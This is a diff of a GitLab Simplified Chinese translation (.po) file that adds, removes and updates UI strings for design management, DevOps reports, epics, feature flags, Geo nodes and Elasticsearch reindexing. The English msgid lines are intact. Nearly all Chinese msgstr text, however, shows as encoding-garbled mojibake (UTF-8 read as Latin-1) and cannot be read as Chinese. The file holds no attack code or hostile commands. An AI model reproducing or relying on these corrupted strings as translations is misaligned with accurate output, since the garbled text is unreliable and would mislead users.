@@ -8137,15 +8454,24 @@ msgstr "%{filename}æ— å˜åŒ–。"
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr "添加具有相åŒæ–‡ä»¶å的设计会替æ¢ä¸ºæ–°ç‰ˆæœ¬çš„文件。"
+msgid "DesignManagement|Archive designs"
+msgstr ""
+
+msgid "DesignManagement|Archive selected"
+msgstr ""
+
+msgid "DesignManagement|Archived designs will still be available in previous versions of the design collection."
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to archive the selected designs?"
+msgstr ""
+
msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
msgstr "您确定è¦å–消对此评论的更改å—?"
msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
msgstr "确定è¦å–消创建此评论å—?"
-msgid "DesignManagement|Are you sure you want to delete the selected designs?"
-msgstr "确定è¦åˆ é™¤é€‰ä¸­çš„设计å—?"
-
msgid "DesignManagement|Cancel changes"
msgstr "å–消更改"
@@ -8176,20 +8502,11 @@ msgstr "无法更新讨论。请å†è¯•ä¸€æ¬¡ã€‚"
msgid "DesignManagement|Could not update note. Please try again."
msgstr "无法更新注释。请å†è¯•ä¸€æ¬¡ã€‚"
-msgid "DesignManagement|Delete"
-msgstr "删除"
-
-msgid "DesignManagement|Delete designs confirmation"
-msgstr "删除设计确认"
-
-msgid "DesignManagement|Delete selected"
-msgstr "删除所选项"
-
msgid "DesignManagement|Deselect all"
msgstr "å–消全部选择"
msgid "DesignManagement|Designs"
-msgstr ""
+msgstr "设计"
msgid "DesignManagement|Discard comment"
msgstr "放弃评论"
@@ -8234,7 +8551,7 @@ msgid "DesignManagement|The maximum number of designs allowed to be uploaded is
msgstr "å…许上传的设计最大数é‡ä¸º %{upload_limit}。请å†è¯•ä¸€æ¬¡ã€‚"
msgid "DesignManagement|To upload designs, you'll need to enable LFS. %{requirements_link_start}More information%{requirements_link_end}"
-msgstr ""
+msgstr "è¦ä¸Šä¼ è®¾è®¡ï¼Œæ‚¨éœ€è¦å¯ç”¨LFS。%{requirements_link_start}更多信æ¯%{requirements_link_end}"
msgid "DesignManagement|Unresolve thread"
msgstr "将主题置为未解决"
@@ -8266,8 +8583,11 @@ msgstr "详细信æ¯(默认)"
msgid "Detect host keys"
msgstr "检测主机密钥"
-msgid "DevOps Score"
-msgstr "DevOps指数"
+msgid "DevOps"
+msgstr ""
+
+msgid "DevOps Report"
+msgstr ""
msgid "Diff content limits"
msgstr "差异内容é™åˆ¶"
@@ -8275,6 +8595,9 @@ msgstr "差异内容é™åˆ¶"
msgid "Diff limits"
msgstr "差异é™åˆ¶"
+msgid "Diff view settings"
+msgstr ""
+
msgid "Difference between start date and now"
msgstr "开始日期和现在之间的差异"
@@ -8287,8 +8610,11 @@ msgstr "(æº)"
msgid "Diffs|No file name available"
msgstr "æ— å¯ç”¨çš„文件å"
-msgid "Diffs|Show unchanged lines"
-msgstr "显示未改å˜çš„è¡Œ"
+msgid "Diffs|Show %{unfoldCount} lines"
+msgstr ""
+
+msgid "Diffs|Show all unchanged lines"
+msgstr ""
msgid "Diffs|Something went wrong while fetching diff lines."
msgstr "获å–差异线时å‘生错误。"
@@ -8324,7 +8650,7 @@ msgid "Disabled mirrors can only be enabled by instance owners. It is recommende
msgstr "å·²ç¦ç”¨é•œåƒåªèƒ½ç”±å®žä¾‹æ‰€æœ‰è€…å¯ç”¨ã€‚建议删除此项。"
msgid "Discard"
-msgstr ""
+msgstr "放弃"
msgid "Discard all changes"
msgstr "放弃所有更改"
@@ -8392,9 +8718,6 @@ msgstr "讨论需è¦è§£å†³çš„具体建议或问题。"
msgid "Discuss a specific suggestion or question."
msgstr "讨论具体的建议或问题。"
-msgid "Discussion"
-msgstr "讨论"
-
msgid "Discussion to reply to cannot be found"
msgstr "无法找到è¦å›žå¤çš„讨论"
@@ -8408,8 +8731,8 @@ msgid "Dismiss %d selected vulnerability as"
msgid_plural "Dismiss %d selected vulnerabilities as"
msgstr[0] "忽略%d个选定的æ¼æ´žï¼Œå°†å®ƒä»¬å½’类为"
-msgid "Dismiss DevOps Score introduction"
-msgstr "ä¸å†æ˜¾ç¤ºDevOps指数介ç»"
+msgid "Dismiss DevOps Report introduction"
+msgstr ""
msgid "Dismiss Merge Request promotion"
msgstr "关闭åˆå¹¶è¯·æ±‚推广"
@@ -8466,7 +8789,7 @@ msgid "Documentation for popular identity providers"
msgstr "常è§çš„身份验è¯æ供商的相关文档"
msgid "Documents reindexed: %{processed_documents} (%{percentage}%%)"
-msgstr ""
+msgstr "文档é‡å»ºç´¢å¼•: %{processed_documents} (%{percentage}%%)"
msgid "Doing"
msgstr "进行中"
@@ -8496,7 +8819,7 @@ msgid "Don't include description in commit message"
msgstr "ä¸åœ¨æ交消æ¯ä¸­åŒ…å«æè¿°"
msgid "Don't paste the private part of the GPG key. Paste the public part which begins with '-----BEGIN PGP PUBLIC KEY BLOCK-----'."
-msgstr "ä¸è¦æŠŠGPG密钥中的ç§é’¥éƒ¨åˆ†è´´è¿‡æ¥ï¼Œè¯·åªç²˜è´´å…¬é’¥éƒ¨åˆ†ï¼Œå…¶å¼€å§‹äºŽ '-----BEGIN PGP PUBLIC KEY BLOCK-----'."
+msgstr "请勿粘贴GPG密钥中的ç§é’¥éƒ¨åˆ†ï¼Œåªéœ€ç²˜è´´ä»¥ '-----BEGIN PGP PUBLIC KEY BLOCK-----' 为开头的公钥部分。"
msgid "Don't show again"
msgstr "ä¸å†æ˜¾ç¤º"
@@ -8523,7 +8846,7 @@ msgid "Download as"
msgstr "下载å¦å­˜ä¸º"
msgid "Download as CSV"
-msgstr ""
+msgstr "下载CSV"
msgid "Download asset"
msgstr "下载资æº"
@@ -8568,13 +8891,13 @@ msgid "Downvotes"
msgstr "踩"
msgid "Draft"
-msgstr ""
+msgstr "è‰ç¨¿"
msgid "Draft merge requests can't be merged."
-msgstr ""
+msgstr "è‰ç¨¿åˆå¹¶è¯·æ±‚ä¸èƒ½åˆå¹¶ã€‚"
msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
-msgstr ""
+msgstr "拖放或%{linkStart}上传%{linkEnd}设计以附加"
msgid "Drop your designs to start your upload."
msgstr "拖放您的设计以å¯åŠ¨ä¸Šä¼ ã€‚"
@@ -8640,7 +8963,7 @@ msgid "Edit Release"
msgstr "编辑å‘布"
msgid "Edit Requirement"
-msgstr ""
+msgstr "编辑需求"
msgid "Edit Slack integration"
msgstr "编辑Slack集æˆ"
@@ -8660,9 +8983,6 @@ msgstr "编辑看æ¿"
msgid "Edit comment"
msgstr "编辑评论"
-msgid "Edit dashboard"
-msgstr "编辑仪表æ¿"
-
msgid "Edit description"
msgstr "编辑æè¿°ä¿¡æ¯"
@@ -8676,7 +8996,7 @@ msgid "Edit files in the editor and commit changes here"
msgstr "在编辑器中编辑文件并在这里​​æ交å˜æ›´å†…容"
msgid "Edit fork in Web IDE"
-msgstr ""
+msgstr "在Web IDE中编辑派生"
msgid "Edit group: %{group_name}"
msgstr "编辑群组:%{group_name}"
@@ -8727,16 +9047,16 @@ msgid "Elasticsearch integration. Elasticsearch AWS IAM."
msgstr "Elasticsearch集æˆåŠElasticsearch AWS IAM。"
msgid "Elasticsearch reindexing is already in progress"
-msgstr ""
+msgstr "Elasticsearché‡å»ºç´¢å¼•æ­£åœ¨è¿›è¡Œä¸­"
msgid "Elasticsearch reindexing triggered"
-msgstr ""
+msgstr "Elasticsearché‡å»ºç´¢å¼•å·²è§¦å‘"
msgid "Elasticsearch returned status code: %{status_code}"
msgstr "Elasticsearch返回状æ€ä»£ç : %{status_code}"
msgid "Elasticsearch zero-downtime reindexing"
-msgstr ""
+msgstr "Elasticsearchä¸åœæœºé‡å»ºç´¢å¼•"
msgid "Elastic|None. Select namespaces to index."
msgstr "无。请选择è¦å»ºç«‹ç´¢å¼•çš„命å空间。"
@@ -8748,7 +9068,7 @@ msgid "Email"
msgstr "电å­é‚®ä»¶"
msgid "Email %{number}"
-msgstr ""
+msgstr "电å­é‚®ä»¶%{number}"
msgid "Email Notification"
msgstr "电å­é‚®ä»¶é€šçŸ¥"
@@ -8951,9 +9271,6 @@ msgstr "å¯ç”¨åŒé‡è®¤è¯"
msgid "Enable usage ping"
msgstr "å¯ç”¨ä½¿ç”¨æƒ…况检测(usage ping)"
-msgid "Enable usage ping to get an overview of how you are using GitLab from a feature perspective."
-msgstr "å¯ç”¨ä½¿ç”¨æƒ…况检测(usage ping)以从功能角度总体上了解您如何使用GitLab。"
-
msgid "Enable/disable your service desk. %{link_start}Learn more about service desk%{link_end}."
msgstr "å¯ç”¨/ç¦ç”¨æœåŠ¡å°ã€‚ %{link_start}了解有关æœåŠ¡å°%{link_end}的更多信æ¯ã€‚"
@@ -9090,7 +9407,7 @@ msgid "Environment scope"
msgstr "环境范围"
msgid "Environment variables are applied to environments via the Runner. You can use environment variables for passwords, secret keys, etc. Make variables available to the running application by prepending the variable key with %{code_open}K8S_SECRET_%{code_close}. You can set variables to be:"
-msgstr ""
+msgstr "环境å˜é‡é€šè¿‡Runner应用于环境中。您å¯ä»¥é€šè¿‡çŽ¯å¢ƒå˜é‡æ¥å­˜å‚¨å¯†ç ï¼Œå¯†é’¥ç­‰ç­‰ã€‚如果您需è¦æŠŠå˜é‡ç”¨äºŽæœ€ç»ˆè¿è¡Œçš„应用,您å¯ä»¥åœ¨å˜é‡åå‰æ·»åŠ %{code_open}K8S_SECRET_%{code_close}。您å¯ä»¥å°†å˜é‡è®¾ç½®ä¸ºï¼š"
msgid "Environment variables are configured by your administrator to be %{link_start}protected%{link_end} by default"
msgstr "环境å˜é‡å·²è¢«ç®¡ç†å‘˜é…置为%{link_start}å—ä¿æŠ¤çš„(默认)%{link_end}"
@@ -9122,6 +9439,9 @@ msgstr "环境å…许您跟踪应用程åºçš„部署 %{link_to_read_more}。"
msgid "Environments in %{name}"
msgstr "%{name}中的环境"
+msgid "EnvironmentsAlert|%{severity} • %{title} %{text}. %{linkStart}View Details%{linkEnd} · %{startedAt} "
+msgstr ""
+
msgid "EnvironmentsDashboard|Add a project to the dashboard"
msgstr "将项目添加到仪表æ¿"
@@ -9146,8 +9466,8 @@ msgstr "删除"
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr "环境仪表æ¿æä¾›æ¯ä¸ªé¡¹ç›®çŽ¯å¢ƒçŠ¶æ€çš„摘è¦ï¼ŒåŒ…括æµæ°´çº¿å’Œè­¦æŠ¥çŠ¶æ€ã€‚"
-msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project. %{readMoreLink}"
-msgstr "此仪表æ¿æ¯ä¸ªé¡¹ç›®æœ€å¤šæ˜¾ç¤º7个项目和3个环境。 %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
+msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
msgstr "å–消自动终止时å‘生错误,请é‡è¯•"
@@ -9231,10 +9551,10 @@ msgid "Environments|Logs from %{start} to %{end}."
msgstr "从%{start}到%{end}的日志。"
msgid "Environments|Managed apps"
-msgstr ""
+msgstr "托管应用"
msgid "Environments|More information"
-msgstr ""
+msgstr "更多信æ¯"
msgid "Environments|New environment"
msgstr "新建环境"
@@ -9336,7 +9656,7 @@ msgid "Epic events"
msgstr "å²è¯—事件"
msgid "Epic not found for given params"
-msgstr ""
+msgstr "未找到给定å‚æ•°çš„å²è¯—"
msgid "Epics"
msgstr "å²è¯—"
@@ -9369,13 +9689,13 @@ msgid "Epics|Are you sure you want to remove %{bStart}%{targetIssueTitle}%{bEnd}
msgstr "确定è¦ä»Ž%{bStart}%{parentEpicTitle}%{bEnd}删除%{bStart}%{targetIssueTitle}%{bEnd}å—?"
msgid "Epics|Enter a title for your epic"
-msgstr ""
+msgstr "输入å²è¯—的标题"
msgid "Epics|How can I solve this?"
msgstr "我该如何解决该问题?"
msgid "Epics|Leave empty to inherit from milestone dates"
-msgstr ""
+msgstr "留空以继承里程碑日期"
msgid "Epics|More information"
msgstr "更多信æ¯"
@@ -9417,7 +9737,7 @@ msgid "Epics|These dates affect how your epics appear in the roadmap. Dates from
msgstr "这些日期会影å“å²è¯—在路线图中的显示方å¼ã€‚里程碑日期æ¥è‡ªäºŽå²è¯—故事中的议题所属的里程碑。您还å¯ä»¥è®¾ç½®å›ºå®šæ—¥æœŸæˆ–完全删除它们。"
msgid "Epics|This epic and any containing child epics are confidential and should only be visible to team members with at least Reporter access."
-msgstr ""
+msgstr "这个å²è¯—和任何包å«å­å²è¯—çš„ä¿¡æ¯å‡ä¸ºæœºå¯†ï¼Œåªèƒ½å¯¹æ‹¥æœ‰è‡³å°‘报告者访问æƒé™çš„团队æˆå‘˜å¯è§ã€‚"
msgid "Epics|This will also remove any descendents of %{bStart}%{targetEpicTitle}%{bEnd} from %{bStart}%{parentEpicTitle}%{bEnd}. Are you sure?"
msgstr "该æ“作也会从%{bStart}%{parentEpicTitle}%{bEnd}中移除%{bStart}%{targetEpicTitle}%{bEnd}的所有级别å­å²è¯—。确定继续å—?"
@@ -9425,9 +9745,12 @@ msgstr "该æ“作也会从%{bStart}%{parentEpicTitle}%{bEnd}中移除%{bStart}%{
msgid "Epics|To schedule your epic's %{epicDateType} date based on milestones, assign a milestone with a %{epicDateType} date to any issue in the epic."
msgstr "如需根æ®é‡Œç¨‹ç¢‘æ¥å®‰æŽ’å²è¯—çš„ %{epicDateType} 日期,请为å²è¯—中的任一议题指定带有 %{epicDateType} 日期的里程碑。"
-msgid "Epics|Unable to save epic. Please try again"
+msgid "Epics|Unable to perform this action"
msgstr ""
+msgid "Epics|Unable to save epic. Please try again"
+msgstr "无法ä¿å­˜å²è¯—。请å†è¯•ä¸€æ¬¡"
+
msgid "Epics|due"
msgstr "到期"
@@ -9477,7 +9800,7 @@ msgid "Error fetching network graph."
msgstr "获å–网络图时出错。"
msgid "Error fetching payload data."
-msgstr "获å–负载数æ®æ—¶å‡ºé”™ã€‚"
+msgstr "获å–有效数æ®æ—¶å‡ºé”™ã€‚"
msgid "Error fetching projects"
msgstr "获å–项目时出错"
@@ -9504,10 +9827,10 @@ msgid "Error loading file viewer."
msgstr "加载文件查看器时出错。"
msgid "Error loading issues"
-msgstr ""
+msgstr "加载议题出错"
msgid "Error loading iterations"
-msgstr ""
+msgstr "加载迭代出错"
msgid "Error loading last commit."
msgstr "加载最åŽä¸€æ¬¡æ交失败。"
@@ -9534,7 +9857,7 @@ msgid "Error loading viewer"
msgstr "加载查看器时出错"
msgid "Error message:"
-msgstr ""
+msgstr "错误信æ¯:"
msgid "Error occurred when fetching sidebar data"
msgstr "获å–侧边æ æ•°æ®æ—¶å‡ºé”™"
@@ -9579,7 +9902,7 @@ msgid "Error setting up editor. Please try again."
msgstr "设置编辑器时出错。请é‡è¯•ã€‚"
msgid "Error tracking"
-msgstr ""
+msgstr "错误跟踪"
msgid "Error updating %{issuableType}"
msgstr "更新 %{issuableType} 时出错"
@@ -9612,10 +9935,10 @@ msgid "Error with Akismet. Please check the logs for more info."
msgstr "Akismet 错误。请检查日志以获å–更多信æ¯ã€‚"
msgid "Error: %{error_message}"
-msgstr ""
+msgstr "错误: %{error_message}"
msgid "Error: Unable to create deploy freeze"
-msgstr ""
+msgstr "错误:无法创建部署冻结。"
msgid "ErrorTracking|Active"
msgstr "å¯ç”¨"
@@ -9752,14 +10075,14 @@ msgstr "凭è¯é›†"
msgid "Exactly one of %{attributes} is required"
msgstr "其中的一个%{attributes}是必需的"
-msgid "Example: <code>192.168.0.0/24</code>. %{read_more_link}."
+msgid "Example: %{ip_address}. %{read_more_link}."
msgstr ""
msgid "Example: @sub\\.company\\.com$"
msgstr "示例: @sub\\.company\\.com$"
msgid "Example: My Value Stream"
-msgstr ""
+msgstr "例如:My Value Stream"
msgid "Example: Usage = single query. (Requested) / (Capacity) = multiple queries combined into a formula."
msgstr "示例:使用é‡=å•ä¸€æŸ¥è¯¢ã€‚(请求)/(容é‡)=å½¢æˆå…¬å¼çš„多é‡æŸ¥è¯¢ã€‚"
@@ -9773,6 +10096,9 @@ msgstr "ä¸åŒ…括åˆå¹¶æ交。仅é™%{limit}次æ交。"
msgid "Excluding merge commits. Limited to 6,000 commits."
msgstr "ä¸åŒ…括åˆå¹¶æ交。仅é™6,000次æ交。"
+msgid "Existing branch name, tag, or commit SHA"
+msgstr ""
+
msgid "Existing members and groups"
msgstr "当å‰æˆå‘˜å’Œç¾¤ç»„"
@@ -9782,9 +10108,6 @@ msgstr "现有项目å¯èƒ½ä¼šè¢«ç§»åŠ¨åˆ°ç¾¤ç»„"
msgid "Existing projects will be able to use expiration policies. Avoid enabling this if an external Container Registry is being used, as there is a performance risk if many images exist on one project."
msgstr "现有项目将能够使用到期策略。如果正在使用外部容器镜åƒåº“,请尽é‡ä¸è¦å¯ç”¨æ­¤åŠŸèƒ½ã€‚因为如果一个项目中镜åƒæ•°ç›®è¾ƒå¤šï¼Œåˆ™å­˜åœ¨æ€§èƒ½é£Žé™©ã€‚"
-msgid "Existing shares"
-msgstr "当å‰å…±äº«"
-
msgid "Existing sign in methods may be removed"
msgstr "现有的登录方法å¯èƒ½ä¼šè¢«åˆ é™¤"
@@ -9797,9 +10120,6 @@ msgstr "展开全部"
msgid "Expand approvers"
msgstr "展开核准人"
-msgid "Expand down"
-msgstr "å‘下展开"
-
msgid "Expand dropdown"
msgstr "展开下拉列表"
@@ -9809,11 +10129,8 @@ msgstr "展开里程碑"
msgid "Expand sidebar"
msgstr "展开侧边æ "
-msgid "Expand up"
-msgstr "å‘上展开"
-
msgid "Expected documents: %{expected_documents}"
-msgstr ""
+msgstr "需è¦çš„文档: %{expected_documents}"
msgid "Experienced"
msgstr "有ç»éªŒçš„"
@@ -9824,9 +10141,6 @@ msgstr "过期时间"
msgid "Expiration date"
msgstr "到期时间"
-msgid "Expiration not enforced"
-msgstr "未强制过期"
-
msgid "Expired"
msgstr "已过期"
@@ -9873,7 +10187,7 @@ msgid "Explore public groups"
msgstr "æœç´¢å…¬å¼€ç¾¤ç»„"
msgid "Export"
-msgstr ""
+msgstr "导出"
msgid "Export as CSV"
msgstr "导出为 CSV"
@@ -10171,7 +10485,7 @@ msgstr "功能标志已æˆåŠŸåˆ é™¤ã€‚"
msgid "FeatureFlags|%d user"
msgid_plural "FeatureFlags|%d users"
-msgstr[0] ""
+msgstr[0] "%d个用户"
msgid "FeatureFlags|* (All Environments)"
msgstr "*(所有环境)"
@@ -10189,10 +10503,10 @@ msgid "FeatureFlags|Add strategy"
msgstr "添加策略"
msgid "FeatureFlags|All Environments"
-msgstr ""
+msgstr "所有环境"
msgid "FeatureFlags|All Users"
-msgstr ""
+msgstr "所有用户"
msgid "FeatureFlags|All users"
msgstr "所有用户"
@@ -10219,10 +10533,10 @@ msgid "FeatureFlags|Edit Feature Flag"
msgstr "编辑功能标志"
msgid "FeatureFlags|Edit User List"
-msgstr ""
+msgstr "编辑用户列表"
msgid "FeatureFlags|Enable features for specific users and specific environments by defining feature flag strategies."
-msgstr ""
+msgstr "通过定义功能标志策略,为特定用户和特定环境å¯ç”¨åŠŸèƒ½ã€‚"
msgid "FeatureFlags|Environment Spec"
msgstr "环境规格"
@@ -10257,12 +10571,18 @@ msgstr "功能标志å…许通过动æ€åˆ‡æ¢æŸäº›åŠŸèƒ½ä½¿åº”用呈现ä¸åŒç‰¹
msgid "FeatureFlags|Flag becomes read only soon"
msgstr "标志å³å°†å˜ä¸ºåªè¯»"
+msgid "FeatureFlags|Flag is read-only"
+msgstr ""
+
msgid "FeatureFlags|Get started with feature flags"
msgstr "功能标志入门"
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags, and in 13.4, this feature flag will become read-only. Please create a new feature flag."
msgstr "GitLab正在转å‘到新的功能标志管ç†æ–¹å¼ï¼Œæ­¤åŠŸèƒ½æ ‡å¿—将在13.4中å˜ä¸ºåªè¯»ã€‚请创建一个新的功能标识。"
+msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
+msgstr ""
+
msgid "FeatureFlags|ID"
msgstr "ID"
@@ -10300,7 +10620,7 @@ msgid "FeatureFlags|New Feature Flag"
msgstr "新建功能标志"
msgid "FeatureFlags|New User List"
-msgstr ""
+msgstr "新建用户列表"
msgid "FeatureFlags|New feature flag"
msgstr "新建功能标志"
@@ -10309,7 +10629,7 @@ msgid "FeatureFlags|New list"
msgstr "新建列表"
msgid "FeatureFlags|Percent of users"
-msgstr ""
+msgstr "用户百分比"
msgid "FeatureFlags|Percent rollout (logged in users)"
msgstr "百分比上线(登录用户)"
@@ -10330,7 +10650,7 @@ msgid "FeatureFlags|Rollout Strategy"
msgstr "上线策略"
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
-msgstr ""
+msgstr "设置Unleash客户端应用å称为应用程åºè¿è¡Œçš„环境å称。 此值将用于匹é…环境范围。查看 %{linkStart}客户端é…置示例%{linkEnd}。"
msgid "FeatureFlags|Status"
msgstr "状æ€"
@@ -10347,6 +10667,9 @@ msgstr "获å–功能标志时出错。"
msgid "FeatureFlags|There was an error retrieving user lists"
msgstr "获å–用户列表时出错"
+msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
+msgstr ""
+
msgid "FeatureFlags|Try again in a few moments or contact your support team."
msgstr "请ç¨åŽé‡è¯•æˆ–è”系支æŒå›¢é˜Ÿã€‚"
@@ -10354,10 +10677,7 @@ msgid "FeatureFlags|User IDs"
msgstr "用户ID"
msgid "FeatureFlags|User List"
-msgstr ""
-
-msgid "FeatureFlag|Delete strategy"
-msgstr "删除策略"
+msgstr "用户列表"
msgid "FeatureFlag|List"
msgstr "列表"
@@ -10398,6 +10718,9 @@ msgstr "获å–许å¯è¯å¤±è´¥ã€‚当å‰æƒé™æ— æ³•æ‰§è¡Œæ­¤æ“作。"
msgid "File"
msgstr "文件"
+msgid "File %{current} of %{total}"
+msgstr ""
+
msgid "File Hooks"
msgstr "文件钩å­"
@@ -10450,7 +10773,7 @@ msgid "Files, directories, and submodules in the path %{path} for commit referen
msgstr "æ交引用%{ref}路径%{path}中的文件,目录和å­æ¨¡å—"
msgid "Fill in the fields below, turn on %{strong_open}Enable SAML authentication for this group%{strong_close}, and press %{strong_open}Save changes%{strong_close}"
-msgstr ""
+msgstr "填写以下字段,开å¯%{strong_open}对此组å¯ç”¨SAML身份验è¯%{strong_close},然åŽç‚¹å‡»%{strong_open}ä¿å­˜æ›´æ”¹%{strong_close}"
msgid "Filter"
msgstr "筛选器"
@@ -10540,7 +10863,7 @@ msgid "Find the downloaded ZIP file and decompress it."
msgstr "找到下载的ZIP文件并解压缩。"
msgid "Find the newly extracted %{code_open}Takeout/Google Code Project Hosting/GoogleCodeProjectHosting.json%{code_close} file."
-msgstr ""
+msgstr "查找新æå–çš„%{code_open}Takeout/Google Code Project Hosting/GoogleCodeProjectHosting.json%{code_close}文件。"
msgid "Fingerprint"
msgstr "指纹"
@@ -10555,7 +10878,7 @@ msgid "Finish review"
msgstr "完æˆè¯„审"
msgid "Finish setting up your dedicated account for %{group_name}."
-msgstr ""
+msgstr "完æˆæ‚¨çš„%{group_name}专用å¸æˆ·è®¾ç½®ã€‚"
msgid "Finished"
msgstr "已完æˆ"
@@ -10623,6 +10946,9 @@ msgstr "字体颜色"
msgid "Footer message"
msgstr "页脚消æ¯"
+msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgstr ""
+
msgid "For internal projects, any logged in user can view pipelines and access job details (output logs and artifacts)"
msgstr "对于内部项目,任何已登录的用户都å¯ä»¥æŸ¥çœ‹æµæ°´çº¿å¹¶è®¿é—®ä½œä¸šè¯¦æƒ…(输出日志和产物)"
@@ -10672,7 +10998,7 @@ msgid "ForkedFromProjectPath|Forked from an inaccessible project"
msgstr "从无法访问的项目派生"
msgid "Forking a repository allows you to make changes without affecting the original project."
-msgstr ""
+msgstr "仓库的派生å…许您在ä¸å½±å“原始项目的情况下进行更改。"
msgid "Forking in progress"
msgstr "派生(Fork)中"
@@ -10699,10 +11025,10 @@ msgid "Free Trial of GitLab.com Gold"
msgstr "å…费试用gitlab.comçš„Gold计划"
msgid "Freeze end"
-msgstr ""
+msgstr "冻结结æŸ"
msgid "Freeze start"
-msgstr ""
+msgstr "冻结开始"
msgid "Frequency"
msgstr "频率"
@@ -10714,7 +11040,7 @@ msgid "From"
msgstr "从"
msgid "From %{code_open}%{source_title}%{code_close} into"
-msgstr ""
+msgstr "从%{code_open}%{source_title}%{code_close}到"
msgid "From %{providerTitle}"
msgstr "%{providerTitle}æºåœ°å€"
@@ -10735,10 +11061,10 @@ msgid "Full name"
msgstr "å…¨å"
msgid "GPG Key ID:"
-msgstr "GPG密钥ID:"
+msgstr "GPG密钥ID:"
msgid "GPG Keys"
-msgstr "GPG 密钥"
+msgstr "GPG密钥"
msgid "GPG keys allow you to verify signed commits."
msgstr "GPG密钥å…许您对签åçš„æ交进行验è¯ã€‚"
@@ -10765,7 +11091,7 @@ msgid "Generate new export"
msgstr "生æˆæ–°çš„导出"
msgid "Generate new token"
-msgstr ""
+msgstr "生æˆæ–°çš„令牌"
msgid "Geo"
msgstr "Geo"
@@ -10794,30 +11120,15 @@ msgstr "节点出现故障或æŸå。"
msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
msgstr "节点è¿è¡Œç¼“æ…¢ã€è¶…è½½, 或者在åœæœºåŽåˆšåˆšæ¢å¤ã€‚"
-msgid "GeoNodes|Attachments"
-msgstr "附件"
-
-msgid "GeoNodes|Checksummed"
-msgstr "已校验"
-
msgid "GeoNodes|Consult Geo troubleshooting information"
msgstr "查询Geo故障排除信æ¯"
-msgid "GeoNodes|Container repositories"
-msgstr "容器仓库"
-
msgid "GeoNodes|Data replication lag"
msgstr "æ•°æ®åº“åŒæ­¥æ»žåŽ"
-msgid "GeoNodes|Design repositories"
-msgstr "设计仓库"
-
msgid "GeoNodes|Does not match the primary storage configuration"
msgstr "与主存储é…ç½®ä¸ä¸€è‡´"
-msgid "GeoNodes|Failed"
-msgstr "失败"
-
msgid "GeoNodes|Full"
msgstr "全部"
@@ -10833,12 +11144,6 @@ msgstr "è¿è¡ŒçŠ¶å†µçŠ¶æ€"
msgid "GeoNodes|Internal URL"
msgstr "内部URL"
-msgid "GeoNodes|Job artifacts"
-msgstr "作业产物"
-
-msgid "GeoNodes|LFS objects"
-msgstr "LFS对象"
-
msgid "GeoNodes|Last event ID processed by cursor"
msgstr "游标处ç†çš„最åŽäº‹ä»¶ID"
@@ -10866,12 +11171,6 @@ msgstr "æˆåŠŸåˆ é™¤èŠ‚点。"
msgid "GeoNodes|Node's status was updated %{timeAgo}."
msgstr "节点状æ€æ›´æ–°äºŽ%{timeAgo}。"
-msgid "GeoNodes|Not checksummed"
-msgstr "未校验"
-
-msgid "GeoNodes|Package files"
-msgstr "软件包文件"
-
msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
msgstr "æš‚åœå¤åˆ¶å°†åœæ­¢åŒæ­¥è¿›ç¨‹ã€‚确定继续å—?"
@@ -10893,15 +11192,6 @@ msgstr "å¤åˆ¶æ§½"
msgid "GeoNodes|Replication status"
msgstr "å¤åˆ¶çŠ¶æ€"
-msgid "GeoNodes|Repositories"
-msgstr "仓库"
-
-msgid "GeoNodes|Repository checksum progress"
-msgstr "仓库校验和进度"
-
-msgid "GeoNodes|Repository verification progress"
-msgstr "仓库验è¯è¿›åº¦"
-
msgid "GeoNodes|Selective (%{syncLabel})"
msgstr "选择性(%{syncLabel})"
@@ -10929,27 +11219,12 @@ msgstr "åŒæ­¥è®¾ç½®"
msgid "GeoNodes|Unused slots"
msgstr "未使用的槽"
-msgid "GeoNodes|Unverified"
-msgstr "未验è¯"
-
msgid "GeoNodes|Updated %{timeAgo}"
msgstr "更新于%{timeAgo}"
msgid "GeoNodes|Used slots"
msgstr "已使用的槽"
-msgid "GeoNodes|Verified"
-msgstr "已验è¯"
-
-msgid "GeoNodes|Wiki checksum progress"
-msgstr "Wiki 校验和进度"
-
-msgid "GeoNodes|Wiki verification progress"
-msgstr "Wiki 验è¯è¿›åº¦"
-
-msgid "GeoNodes|Wikis"
-msgstr "Wiki"
-
msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
msgstr "通过%{geo} ,您å¯ä»¥åœ¨ä»»ä½•åœ°æ–¹å®‰è£…特殊的åªè¯»å’Œå¤åˆ¶çš„GitLab实例。在添加节点之å‰ï¼Œè¯·ä¸¥æ ¼æŒ‰ç…§ %{instructions}中所列的顺åºæ‰§è¡Œ 。"
@@ -10962,6 +11237,12 @@ msgstr "主节点"
msgid "GeoNodes|secondary nodes"
msgstr "次è¦èŠ‚点"
+msgid "Geo|%{itemTitle} checksum progress"
+msgstr ""
+
+msgid "Geo|%{itemTitle} verification progress"
+msgstr ""
+
msgid "Geo|%{label} can't be blank"
msgstr "%{label}ä¸èƒ½ä¸ºç©º"
@@ -10993,22 +11274,22 @@ msgid "Geo|All projects are being scheduled for reverify"
msgstr "所有项目正在计划é‡æ–°éªŒè¯"
msgid "Geo|Allowed Geo IP can't be blank"
-msgstr ""
+msgstr "å…许的Geo IPä¸èƒ½ä¸ºç©º"
msgid "Geo|Allowed Geo IP should be between 1 and 255 characters"
-msgstr ""
+msgstr "å…许的Geo IP应该介于1到255个字符之间"
